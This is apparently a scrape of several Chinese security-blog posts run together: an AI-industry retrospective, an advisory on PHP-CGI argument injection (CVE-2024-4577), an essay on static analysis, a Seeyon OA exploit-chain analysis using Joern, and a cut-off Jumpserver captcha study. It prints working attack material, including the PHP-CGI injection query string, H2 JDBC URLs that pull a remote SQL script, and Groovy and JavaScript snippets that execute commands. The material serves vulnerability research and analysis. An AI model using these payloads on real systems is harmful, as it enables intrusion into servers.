从GPT4开放插件之后，大模型有了第三方的输入，其中最有价值的就是联网搜索，从这里开始，GPT真正意义上成为了很多人遇到问题搜索的第一优先级，最早是程序员使用搜索代码问题，再到后来，这类的观念和理念促成了23年最火的AI工具cursor，自此用AI辅助编程就成了主流，被越来越多人接受和使用。

再往后23年末，工作流、agent的概念诞生，事实上也正是从这里开始，我低估了方法论在AI实际使用上的效果。

其实从23末到25年，这个期间比起方法论的发展，AI更主流的发展是大模型的能力。

大家都知道的deepseek发起的算力革命，ds的出现打破了openai为首试图发起21世纪算力霸权的企图，从这里开始大模型不再拼谁的算力更强，集群更大。而是谁能做出更聪明的模型。

也正是从廉价大模型能力出现之后，以豆包为首的民用AI场景越来越强，越来越实用。

现在回顾25年，可以说25年是真正的AI元年。

民用情感对话方面，豆包的诞生。

代码相关，Claude code和codex都是25年诞生。

还有一个大家可能关注比较少的领域，AI视频生成，即梦AI 2.0也是刚刚发布，在这之前AI视频更多停留在换脸或者生成一个奇怪的AI感很强的搞怪视频。

但在26年，视频AI可以说是突飞猛进，过年期间我刷到过很多关于真人AI后室vlog的视频，不知道有没有人了解过，效果非常好，在年后甚至有那种效果非常好的ai短剧出现，不是说AI视频已经可以替代真人，但会有一种护城河被冲破的感觉。

ps：我不知道我看的这个是不是最早做的，但是他用了真人演绎+AI视频做的后室vlog，效果非常好，我知道他是AI做的，但是我并不反感，真的很不错。

再往后，从26年开始，我真正意识到AI浪潮已来之后，26年的热点和浪潮一波接着一波。

首先是元旦到年间的AI大战，阿里的千问，腾讯的元宝，字节的豆包，铺天盖地的宣传和推广袭来，颇有点儿当年阿里腾讯支付大战的风采，现在最不敏感的普通民众应该都意识到似乎有很多东西不一样了。

大模型方面年后大量的新模型发布，GPT5.4，Claude Sonnet4.6，Gemini 3.1Pro，Grok 4.2，GLM5，Minmax2.5，还包括前面说的视频ai seedance 2.0，虽然大模型的能力没有革命性的进步，但不同模型的能力也在进一步拉齐。

ps：给大家推荐下我现在用的特别多的GLM5，实话讲我也觉得和opus差距较大，但是这个模型真的便宜，我近期那种测试学习向的AI都用了这个。

https://www.bigmodel.cn/glm-coding?ic=BNTJWOGIBH

很快我们迎来了年后的第一个大热点。

最早的Clawdbot，后来改名Moltbot，现在又改名叫Openclaw，最近最有名的应该叫做龙虾。其实Openclaw并不是第一个依托于LLM的主动代理助手，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。

年初Openclaw爆火，其实我觉得主要推手就是腾讯，腾讯以非常快的效率跟进并推广这个东西。

今天这篇博客我先不讨论太多Openclaw，但下面这张图确实很有意思。

时至今日，正处于时代浪潮风口当中，AI变革的时代来了吗？

或许现在的我给不出答案，但后续的博客中，我会伴随着我的学习和分享，和大家一起探讨这个答案。

跳转微信打开

今天在DEVCORE的官方博客发布了一个漏洞通报，是存在于windows特殊场景下的PHP CGI远程代码执行漏洞（CVE-2024-4577）

• https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227

• https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/

漏洞描述

影响范围

• PHP 8.3 < 8.3.8
• PHP 8.2 < 8.2.20
• PHP 8.1 < 8.1.29

漏洞利用条件

Windows系统内字符编码转换的Best-Fit特性

• 必须是Window环境

• 繁体中文 (字码页 950)
• 简体中文 (字码页 936)
• 日文 (字码页 932)

Something is wrong with the XAMPP installation :-(
Apache CGI will pass the query string to the command line if it doesn't contain a '='.
This can create an issue where a malicious request can pass command line arguments to
the executable. Ideally we skip argument parsing when we're in cgi or fastcgi mode,
but that breaks PHP scripts on Linux with a hashbang: `#!/php-cgi -d option=value`.
Therefore, this code only prevents passing arguments if the query string starts with a '-'.
Similarly, scripts spawned in subprocesses on Windows may have the same issue.

以CGI模式运行的PHP环境

AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"

<FilesMatch "\.php$">
    SetHandler application/x-httpd-php-cgi
</FilesMatch>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"

#
# PHP-CGI setup
#
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php-cgi
</FilesMatch>
<IfModule actions_module>
    Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
</IfModule>

%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input

-d allow_url_include=on -d auto_prepend_file=php://input

将PHP的执行程序暴露在外 - XAMPP默认配置

ScriptAlias /php-cgi/ "D:/xampp/php/"
<Directory "D:/xampp/php">
    AllowOverride None
    Options None
    Require all denied
    <Files "php-cgi.exe">
          Require all granted
    </Files>
</Directory>

阅读原文

跳转微信打开

一前 言自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地

一

前 言

自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地试错，不断地思考，于是才有了现代伟大的科技时代。

在安全领域里，每个安全研究人员在研究的过程中，也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中自动化代码审计就是安全自动化绕不过去的坎。

而SAST作为自动化代码分析的一种，有着其特有的定位以及作用，这篇文章我们就来聊聊静态分析的一些发展历程和思路。

SAST是什么？

ChatGPT：SAST是Static Application Security Testing（静态应用程序安全测试）的缩写。它是一种用于检测软件应用程序中潜在安全漏洞和代码缺陷的自动化安全测试方法。

二

静态代码分析工具

静态代码分析主要是通过分析目标代码，通过纯静态的手段进行分析处理，并挖掘相应的漏洞/Bug。

在过去的十几年里，静态代码分析工具经历了长期的发展与演变过程，下面我们就一起回顾一下（下面的每个时期主要代表的相对的发展期，并不是比较绝对的诞生前后）：

01

上古时期 - 关键字匹配

如果我问你“如果让你设计一个自动化代码审计工具，你会怎么设计？”，我相信，你一定会回答我，可以尝试通过匹配关键字。紧接着你也会迅速意识到通过关键字匹配的问题。

这里我们拿PHP做个简单的例子。

虽然我们匹配到了这个简单的漏洞，但是很快发现，事情并没有那么简单。

也许你说你可以通过简单的关键字重新匹配到这个问题。

\beval\(\$

但是可惜的是，作为安全研究员，你永远没办法知道开发人员是怎么写代码的。于是选择用关键字匹配的你面临着两种选择：

• 高覆盖性 – 宁错杀不放过

这类工具最经典的就是Seay，通过简单的关键字来匹配尽可能多的目标，之后使用者可以通过人工审计的方式进一步确认。

\beval\b\(

• 可用性 – 宁放过不错杀

这类工具最经典的是Rips免费版

\beval\b\(\$_(GET|POST)

用更多的正则来约束，用更多的规则来覆盖多种情况。这也是早期静态自动化代码审计工具普遍的实现方法。

但问题显而易见，高覆盖性和高可用性是这种实现方法永远无法解决的硬伤，不但维护成本巨大，而且误报率和漏报率也是居高不下。所以被时代所淘汰也是历史的必然。

02

近代时期 - 基于AST的代码分析

有人忽略问题，也有人解决问题。关键字匹配最大的问题是在于你永远没办法保证开发人员的习惯，你也就没办法通过任何制式的匹配来确认漏洞，那么基于AST的代码分析方式就诞生了，开发人员是不同的，但编译器是相同的。

在分享这种原理之前，我们首先可以复习一下编译原理。拿PHP代码举例子：

随着PHP7的诞生，AST也作为PHP解释执行的中间层出现在了编译过程的一环。

通过词法分析和语法分析，我们可以将任意一份代码转化为AST语法树。PHP常见的语义分析库可以参考：

• https://github.com/nikic/PHP-Parser

• https://github.com/viraptor/phply

当我们得到了一份AST语法树之后，我们就解决了前面提到的关键字匹配最大的问题，至少我们现在对于不同的代码，都有了统一的AST语法树。如何对AST语法树做分析也就成了这类工具最大的问题。

在理解如何分析AST语法树之前，我们首先要明白infomation flow、source、sink三个概念：

• source： 我们可以简单的称之为输入，也就是infomation flow的起点

• sink： 我们可以称之为输出，也就是infomation flow的终点

• infomation flow，则是指数据流动的过程。

把这个概念放在PHP代码审计过程中，Source就是指用户可控的输入，比如$_GET、$_POST等，而Sink就是指我们要找到的敏感函数，比如echo、eval，如果某一个Source到Sink存在一个完整的流，那么我们就可以认为存在一个可控的漏洞，这也就是基于infomation flow的代码审计原理。

在明白了基础原理的基础上，我举几个简单的例子：

<?php$a = $_GET[‘a’];eval($a);

这段代码对应的AST为：

Assignment(Variable('$a'),ArrayOffset(Variable('$_GET'), 'a'), False)Eval(Variable('$a'))

1、Eval函数

2、参数Variable(‘$a’)

3、Assignment函数

4、ArrayOffset

5、判断左值是不是Variable(‘$_GET’)

6、漏洞存在

在上面的分析过程中，Sink就是eval函数，Source就是$_GET，通过回溯Sink的来源，我们成功找到了一条流向Source的infomation flow，也就成功发现了这个漏洞。

在分析infomation flow的过程中，明确作用域是基础中的基础. 这也是分析infomation flow的关键，我们可以一起看看一段简单的代码：

<?phpFunction get($p){  echo $p;  return “echo 2333”;}$a = get($_GET[‘a’]);eval($a);

如果我们很简单的跟踪赋值关系去回溯，而没有考虑到函数定义的话，我们很容易将流定义为：

这样我们就错误的把这段代码定义成了存在漏洞，但很显然并不是，而正确的分析流程应该是这样的：

在这段代码中，从主语法树的作用域跟到Get函数的作用域，如何控制这个作用域的变动，就是基于AST语法树分析的一大难点，当我们在代码中不可避免的使用递归来控制作用域时，在多层递归中的统一标准也就成了分析的基础核心问题。

事实上，即便你做好了这个最简单的基础核心问题，你也会遇到层出不穷的问题。这里我举两个简单的例子：

(1) 新函数封装

<?php$a = $_GET['a']function ee($p) {  eval($p)}ee($a)

这是一段很经典的代码，敏感函数被封装成了新的敏感函数，参数是被二次传递的。为了解决，这样infomation flow的方向从逆向->正向的问题。

1、找到eval函数    

2、获取当前语句所在作用域

3、当前作用域为ee函数，并存在参数传递

4、ee被标记为新的敏感函数

(2) 多重调用链

var obj = {  url: location.hash.split('#')[1],  fruit: null};function loc() {  return this.url;}
obj.fruit = loc;
eval(obj.fruit());

这是一段有漏洞的JS代码，人工的话很容易看出来问题。但是如果通过自动化的方式回溯参数的话就会发现整个流程中涉及到了多种流向。

这里我用红色和黄色代表了流的两种流向。要解决这个问题只能通过针对类/字典变量的特殊回溯才能解决。

如果说，前面的两个问题是可以被解决的话，还有很多问题是没办法被解决的，这里举一个简单的例子。

<?php$_GET['a'] = htmlspecialchars($_GET['a']);echo $_GET['a'];

这是一个典型的全局过滤，人工审计可以很容易看出这里被过滤了。但是如果在自动化分析过程中，当回溯到Source为$_GET['a']时，已经满足了从Source到sink的infomation flow，已经被识别为漏洞。一个典型的误报就出现了。

而基于AST的自动化代码审计工具也正是在与这样的问题做博弈，对于基于AST的代码分析来说，最大的挑战在于没人能保证自己完美的处理所有的AST结构，再加上基于单向流的分析方式，无法应对100%的场景。

03

基于IR/CFG的代码分析

如果深度了解过基于AST的代码分析原理的话，不难发现许多弊端。首先AST是编译原理中IR/CFG的更上层，其AST中保存的内容更接近源代码。

也就是说，分析AST更接近分析代码，换句话就是说基于AST的分析得到的流，更接近脑子里对代码执行里的流程，忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件，这也是基于AST的代码分析的普遍解决方案，当然，从结果论上很难辨别忽略带来的后果。而基于IR/CFG这类带有控制流的解决方案，则是另一种解决思路。

首先我们得知道什么是IR/CFG：

• IR：是一种类似于汇编语言的线性代码，其中各个指令按照顺序执行。其中现在主流的IR是三地址码（四元组）

• CFG: （Control flow graph）控制流图，在程序中最简单的控制流单位是一个基本块，在CFG中，每一个节点代表一个基本块，每一个边代表一个可控的控制转移，整个CFG代表了整个代码的的控制流程图。

  
  

一般来说，我们需要遍历IR来生成CFG，当然，你也可以用AST来生成CFG，毕竟AST是比较高的层级。

而基于CFG的代码分析思路优势在于，对于一份代码来说，你首先有了一份控制流图（或者说是执行顺序），然后才到漏洞挖掘这一步。比起基于AST的代码分析来说，你只需要专注于从Source到Sink的过程即可。

但其实无论是基于哪种底层，后续的分析流程与AST其实别无太大的差别，挑战的核心仍然维持在如何控制流，维持作用域，处理程序逻辑的分支过程，确认Source与Sink。但其实无论是基于哪种底层，后续的分析流程与AST其实别无太大的差别，挑战的核心仍然维持在如何控制流，维持作用域，处理程序逻辑的分支过程，确认Source与Sink。上文中提到的是静态分析当中比较常见的一种作用域数据流回溯分析的思路，其实正向的污点分析，亦或者后来被人提到比较多的指针分析，核心思路大同小异。

而代码分析的基础方面，既然存在基于AST的代码分析，又存在基于CFG的代码分析，自然也存在其他的种类。比如现在市场上主流的fortify，Checkmarx，Coverity包括最新的Rips都使用了自己构造的语言的某一个中间部分，比如fortify和Coverity就需要对源码编译的某一个中间语言进行分析，又比如源伞实现了多种语言生成统一的IR，Joern使用了基于AST生成的CPG图结构进行分析。

事实上，无论是基于某种基础结构的代码分析，技术手段本身只有适应场景的不同，对于技术选型这件事情本身来说更重要的是你想要构建一个什么样的代码分析工具。

04

未来 - 通用化代码框架

基于QL概念的框架 - CodeQL

QL指的是一种面向对象的查询语言，用于从关系数据库中查询数据的语言。我们常见的SQL就属于一种QL，一般用于查询存储在数据库中的数据。

而在代码分析领域，Semmle QL是最早诞生的QL语言，他最早被应用于LGTM，并被用于Github内置的安全扫描为大众免费提供。紧接着，CodeQL也被开发出来，作为稳定的代码分析框架在github社区化。

• https://securitylab.github.com/tools/codeql

• https://semmle.com/codeql

那么什么是QL呢？QL又和代码分析有什么关系呢？

首先我们回顾一下基于AST、CFG这类代码分析最大的特点是什么？无论是基于哪种中间件建立的代码分析流程，都离不开3个概念，流、Source、Sink，这类代码分析的原理无论是正向还是逆向，都是通过在Source和Sink中寻找一条流。而这条流的建立围绕的是代码执行的流程，就好像编译器编译运行一样，程序总是流式运行的。这种分析的方式就是数据流分析（Data Flow）。

而QL就是把这个流的每一个环节具象化，把每个节点的操作具象成状态的变化，并且储存到数据库中。

这样一来，通过构造QL语言，我们就能找到满足条件的节点，并构造成流。下面我举一个简单的例子来说：

<?php$a = $_GET['a'];$b = htmlspecialchars($a);
echo $b;

我们简单的把前面的流写成一个表达式

echo => $_GET.is_filterxss

这里is_filterxss被认为是输入$_GET的一个标记，在分析这类漏洞的时候，我们就可以直接用QL表达。

select * where {    Source : $_GET,    Sink : echo,    is_filterxss : False,}

通过构造满足条件的语句，我们就可以找到这个漏洞（上面的代码仅为伪代码），从这样的一个例子我们不难发现，QL其实更接近一个概念，他鼓励将信息流具象化，这样我们就可以用更通用的方式去写规则筛选。

CodeQL类的工具(包括Checkmarx等等)其实就是类似的一个基础理念，通过封装底层的代码处理逻辑，并提供一个非常易用的上层平台给用户，用户可以不用了解复杂的编译原理就可以编写漏洞的规则。

但其实说到底这只是一个理念，并不是结果，以CodeQL为例子，其构建的一套语法规则并不能算是一套门槛很低的东西，反而其黑盒的底层阻止了安全研究人员进一步研究和使用CodeQL。

基于工具化的框架 - Joern

如果说CodeQL类的工具是探索做一个通用化的代码分析框架，来解决代码分析的场景。那Joern就走了另一条路，就是工具化。

Joern的底层原理是一套基于AST生成的通用CPG(Code Property Graph)图，在图的上层实现了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。

但我们这里想讨论的并不是Joern的原理，而是理念。Joern把自己定位成了安全研究员用于代码分析的一个工具，而不是执着于用一个按钮一个规则扫描漏洞，而是提供了人和代码的桥梁。

在Joern里，我用的比较多，也是比较常见的一个场景就是寻找某个方法的调用关系。在Joern shell当中，你可以用非常简单的方法获取某个函数的调用位置，已经调用了该函数的函数。

所以在Joern当中，你可以忽略数据流分析，而是用一些非常简单的交互式命令来辅助，在Joern你可以非常简单的获取"调用了A方法的路由入口"，而更实际的利用链完全可以有人来判定，省去为了上下文分析花去的力气。

当然，Joern在某些方面是成也工具化败也工具化，cpg本身强调调用关系和引用关系，Joern shell后端引用scala易用性有余实用性不足，你几乎很难在Joern的上层做数据流分析层面的分析。

三

总 结

其实相较第一版本的内容来说，我没有对文章内容做太多的更改，因为对于静态分析的底层原理来说用什么技术已经没什么很大的意义了，说到底原理都是差不多的。

商业代码分析的软件包括Checkmarx、Fortify等等，再到后来的CodeQL说到底其实都是技术长期积累的技术壁垒，很多问题也不是学术上的什么难点攻破。

而近几年越来越多的相关东西也如雨后春笋冒了出来，开源社区比较火的Joern、tabby、tai-e，其实技术原理上的东西大同小异，说到底就是还没有足够好用的产品出来，大多代码分析的软件还停留在某个底层技术的应用上。

而代码分析工具本身的易用性和场景化遇到的问题在我看来问题更大，即便是商业化程度非常高的Checkmarx这种软件也没法非常简单直白的接入到devsecops流程当中，很多工具甚至都解决不了高误报率和扫描效率低的问题，更谈不上实用了。在我看来，一款实用的好的代码分析软件还有很长的路要走。

四

参考链接

1、checkmarx

2、joern

3、fortify

4、https://github.com/wh1t3p1g/tabby

5、https://github.com/pascal-lab/Tai-e

【版权说明】

本作品著作权归LoRexxar所有

未经作者同意，不得转载

LoRexxar

天工实验室安全研究员

Vidar-Team，KunLun-M作者，长期从事白盒审计、静态分析、安全自动化相关领域研究

点击下方的卡片关注我们吧！

阅读原文

跳转微信打开

这篇文章的漏洞源于下面这篇文章，文章中提到该漏洞影响A8, A8+, A6等多个版本，下面我们尽可能的复现漏洞和探索Joern的可能性

致远OA是国内最有名的OA系统之一，这个OA封闭商业售卖再加上纷繁复杂的版本号加持下，致远OA拥有大量无法准确判断的版本。

这篇文章的漏洞源于下面这篇文章，文章中提到该漏洞影响A8, A8+, A6等多个版本，但很多版本我都找不到对应的源码，光A8就有一万个版本，下面我们尽可能的复现漏洞和探索Joern的可能性

• https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA

漏洞原理

先花一点儿篇幅简单的描述一下漏洞的基础原理，其实漏洞分为好几个部分

• 致远oa 前台XXE漏洞

• 致远oa S1服务 后台jdbc注入

• H2 jdbc注入导致RCE

• 致远oa S1服务 后台用户密码重置导致的鉴权绕过

我们分开讨论这部分

致远oa前台xxe漏洞

首先我必须得说，这部分内容涉及到的代码我找了很多个版本的源码都没有找到，尝试搜索了一下原漏洞以及一些简单的分析文章其实大部分都没有提到这部分代码的来源。

我觉得最神奇的点在于，这个漏洞如果仅按照原文提及的部分，漏洞原理及其简单，而且是一个比较标准的xxe漏洞

private List<Element> getNodes(String xmlString, String xpath) {
    ArrayList tmpList = null;
    try {
        SAXReader saxReader = new SAXReader();
        Reader xml_sr = new StringReader(xmlString);
        saxReader.setEncoding("UTF-8");
        Document document = saxReader.read(xml_sr);
        if (document.getRootElement() == null) {
            throw new KgException(new KgCommonsError("XmlParser Object hasn't RootElement.", KgCommonsError.SYSTEM_ERROR.getCode()));
        } else {
            List<?> contexts = document.selectNodes(xpath);
            tmpList = new ArrayList();
            for(int i = 0; i < contexts.size(); ++i) {
                if (contexts.get(i) instanceof Element) {
                    tmpList.add((Element)contexts.get(i));
                }
            }
            return tmpList;
        }
    }

可控参数xmlValue，直接解base64然后就进xxe造成漏洞。

按理说这么简单的漏洞，应该早就被爆出来滥用了，但我搜索了一下相应的内容，上一次致远oa爆出来xxe漏洞原理比这个复杂多了，而且还是组件漏洞。

由于实在找不到源码，所以我猜测这个漏洞可能有两个可能性

• 漏洞来自于某个部署时使用到的额外服务或者插件

• 这个xxe漏洞是个第三方组件问题，需要其他条件入口，原文不想提到这个入口所以没有写

不管咋说我的确是没有办法获得答案了，不过这不是这篇文章的重心，先往后看。

致远oa S1服务 后台jdbc注入

在原文中，这部分来自于agent.jar，简单来说就是一个开放到内网的服务，我查了一下应该是指这套S1服务。

在官网还可以查到这套系统，看上去应该是用于管理致远后台的平台，算是运维平台。这侧面也证明了这套系统是一套独立的系统。

在com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController可以找到对应的testDBConnect方法

可以关注到相比原文当中的截图，现在加入了对h2数据库连接的限制

params.put("dbUrl", dbUrl);
if (dbUrl.startsWith("jdbc:h2"))
  return JsonResult.success(StatusCodeEnum.FAILEDCODE.getKey(), ", null);

继续跟进到testDBConnect中

从这里可以找到可以根据dburl前缀自由连接远程jdbc的方法，并允许自定义链接驱动类

H2 jdbc注入导致RCE

这部分内容其实不算是这篇文章的重点致远oa的问题，一般来说到jdbc注入之后就是利用方式的问题了，但这里还是顺带提一下。

关于jdbc的注入后利用方式其实之前已经有过不少次相关的文章以及议题，下面这篇就是一篇总结的比较全的文章

• https://paper.seebug.org/1832/

• https://www.anquanke.com/post/id/203086

其实jdbc可控后续导致的二次利用方案相当复杂，由于这不是这篇文章的内容，所以我们直接跳到对应的位置来看看。

想要利用jdbc注入来调用H2进行进一步利用，其中有两个比较大的问题。

• 需要相应的配置参数才能命令执行

• 由于不支持多行语句，需要找到能在单行里执行命令的方法

H2的攻击利用的是Spring Boot H2 console的一个特性，通过控制h2数据库的连接url，我们可以迫使spring boot去加载远程的sql脚本并执行命令，类似下面这样的请求

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

而这样的请求需要如下的参数

spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true

我们简单的看下源码

在org.h2.engine.Engine#openSession中，发起连接是可以通过INIT关键字来影响初始化数据库连接的配置

当我们使用RUNSCRIPT关键字发起远程连接时，代码将会执行到org.h2.command.dml.RunScriptCommand#execute

这也就意味着我们可以通过RUNSCRIPT来执行恶意的SQL语句，但使用RUNSCRIPT意味着，你的客户端必须出网才有可能利用。

而我们之所以要使用RUNSCRIPT，本质是因为常见的恶意SQL执行命令需要两句，而session.prepareCommand并不支持执行多行语句

CREATE ALIAS RUNCMD AS $$<JAVA METHOD>$$;
CALL RUNCMD(command)

在Spring Boot H2 console的源码中，我们可以继续寻找问题的解决办法，在SQL语句当中的JAVA方法将会执行到org.h2.util.SourceCompiler,一共有三种编译器，分别是Java/Javascript/Groovy

如果满足source开头是//groovy或者是@groovy就会使用对应Groovy引擎。

利用@groovy.transform.ASTTEST 就可以使用assert来执行命令

public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

除了Groovy以外还有JavaScript的利用方案

public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

致远oa S1服务 后台用户密码重置导致的鉴权绕过

在前面找到对应的利用方案之后，当我们尝试去做利用的时候会发现其实后台有额外的权限验证。直接访问testDBConnenction，会报非法访问的错误。

这是因为没有传入对应的token，在com.seeyon.agent.common.utils.TokenUtils中可以找到对应的检查

这里的tokenMap可以在com.seeyon.agent.common.getway.GetWayController找到对应的写入位置

通过解密获得username、pwd、dogcode、versions，经过各种验证之后token会被存入全局变量

这个token会被存入最终的tokenMap当中，而到这里我们问题变成了如何模拟这个过程，在这个过程当中我们需要的信息有点儿多

• username，可以用默认的用户名seeyon

• pwd

• version

• aes的秘钥和iv

跟踪 AESUtil.Decrypt到定义的位置，可以发现秘钥和iv都是默认的，可以直接使用

在com.seeyon.agent.common.controller.ConfigController中可以找到一个方法modifyDefaultUserInfo

这个方法可以在没有任何限制的情况下修改默认用户seeyon的密码

最后剩下的一个信息则是version，这个后台的版本比较复杂，我们可以通过一个接口来获取

在com.seeyon.agent.common.controller.VersionController的getVersion方法里可以获取对应的版本号

到这里我们获取了模拟token的所有信息，就可以在后台进行任意操作了

For Joern

当问题回到源代码扫描上，我们也可以用类似的漏洞拆解来实现扫描

致远oa前台xxe漏洞

由于这个源码找不到，所以这里用一个类似场景写出来的语句来进行模拟挖掘和扫描。

def source = cpg.method("getParameter").callIn
def sink = cpg.call.filter(_.methodFullName.contains("java.io.StringReader.<init>"))
sink.reachableByFlows(source).p

我们可以通过连通初始化位置以及可控参数来判断是否存在路径，正常来说如果两个节点存在连通路径，那么就存在调用关系，但数据流的过程间分析需要更合理的判定方式，就比如这个漏洞。

SAXReader的XXE漏洞修复方案并不是在参数的过滤上，而是在于SAXReader对解析xml的配置

这就要求除了获得source到sink的连通性以及调用关系以外，还要对SAXReader实例化后的属性变化有所关注，在Joern上虽然可以强行做这样的判定，但却没有特别适配的方案，甚至需要通过正则匹配等方式来解决。

致远oa S1服务 后台jdbc注入

照理先引入S1的包，这个东西其实代码不是很大，但是不知道为什么解出来的包非常之大，可能有一些问题。

joern> importCode("S1.jar", "seeyons1")
val res36: io.shiftleft.codepropertygraph.Cpg = Cpg (Graph [959587 nodes])

先找到设置了注解的testDBConnect方法

cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).l

然后再找到设置jdbc连接的位置，并设置参数为3个string

cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String")).l

def sink = cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String"))
def source = cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).parameter
sink.reachableByFlows(source).p

存在连通性，表示包含注解的方法参数可以连通到sink点，存在问题。

H2 jdbc注入导致RCE

相比其他几个问题，这个jdbc的利用其实就不算源代码分析层面的部分了。

无论是通过H2的链接来配置参数还是通过特殊语句二次利用，其实本质上都是H2数据库的feature，这里我们就跳过源代码分析的部分继续看后面的部分

致远oa S1服务 后台用户密码重置导致的鉴权绕过

让我们把视角在转回S1上，其实问题很简单，由于后台主要检查token是否有效

所以我们可以尝试去寻找全局变量tokenMap初始化过的地方

cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).l

然后寻找对应调用的位置

cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

可以看到涉及到tokenMap的方法出了isChecktoken以外还有getToken

然后我们继续寻找调用了getToken的地方

cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).l

然后向上寻找对应的调用函数是什么

cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

在这里我们找到了调用gettoken的位置，也正好对应写入token的位置。

而在后续的利用条件收集中，也可以利用joern来快速挖掘和发现。

• 寻找获取用户名和密码的方法

这个很简单，就像我们平时做代码审计的时候，会通过一些关键字来搜索关键代码一样，在joern中，你可以做类似的事情。我们可以搜索变量名为username的变量被调用的位置。

cpg.identifier("username")._astIn.dedup.l

当然这显得非常粗暴，数据量非常大，但我们可以做更多的限制，比如调用该变量的方法必须包含put

cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put")).dedup.l).l

我们可以直接向上找到对应的函数方法定义位置

cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.l).dedup.l

我们可以选择几个打开看看

当然我们发现不只是有名字为password的变量，还有名为password的常量

cpg.literal("\"password\"").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropert
y raph.generated.nodes.Method].fullName)).l).dedup.l

可以顺着这里找到写入默认账户的位置

前面提到的默认账户修改密码的点也能搜索到，这里甚至可以直接用默认账号和密码

除此之外寻找版本号的位置也可以用joern来完成，直接搜索调用了version变量的地方

cpg.identifier("version").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName)).l).dedup.l

直接找到了对应的getVersion方法

通过joern提供的从属关系图可以快速锁定我们要寻找的大致目标，其中的问题也相当实际，你很难在不熟悉代码的情况下利用joern做深入的扫描，这也是joern类工具的症结之一

阅读原文

跳转微信打开

Jumpserver是一个开源的django架构的堡垒机系统，一个常用的第三方组件库django-simple-captcha有泄露随机数种子的问题，再配合Jumpserver使用了错误的随机数方案导致了最终的漏洞。

Jumpserver是一个开源的django架构的堡垒机系统，由lawliet & zhiniang peng(@edwardzpeng) with Sangfor在上个月报送了这个漏洞

• https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp

漏洞原理其实比较神奇，一个常用的第三方组件库django-simple-captcha有泄露随机数种子的问题，再配合Jumpserver使用了错误的随机数方案导致了最终的漏洞。

漏洞成因

这里我们的目标不是分析漏洞，所以这里简单快速的分析下漏洞的成因，具体的漏洞分析可以看下面两篇文章

• https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html

• https://www.cnblogs.com/zpchcbd/p/17747778.html

在分析代码级的漏洞成因之前，我想作为计算机相关的工作者，我们应该都有一个共识，就是计算机中没有真正意义的伪随机，无论是任何语言的随机数生成函数几乎都是从类似 /dev/random的地方取值，这里我们不讨论随机数底层的问题。

在代码的上层，我们几乎可以认为如果你不知道随机数的种子，那么你就无法对随机数做出预测。换言之，如果我们知道随机数的种子，我们就有一定的概率预测随机数。

django-simple-captcha是Django的相关组件中非常流行的验证码生成库，就像phith0n所说，在国内你几乎没有别的选择，引入的方式超级简单，只要在配置里引入对应库

INSTALLED_APPS = [
    ...
    'captcha',

然后加入对应的验证码路由

urlpatterns += [
	path('core/auth/captcha/', include('captcha.urls')),
]

最后只要在对应的form中加入验证码的字段就行了

class CaptchaMixin(forms.Form):
    captcha = CaptchaField(widget=CustomCaptchaTextInput, label=_('Captcha'))

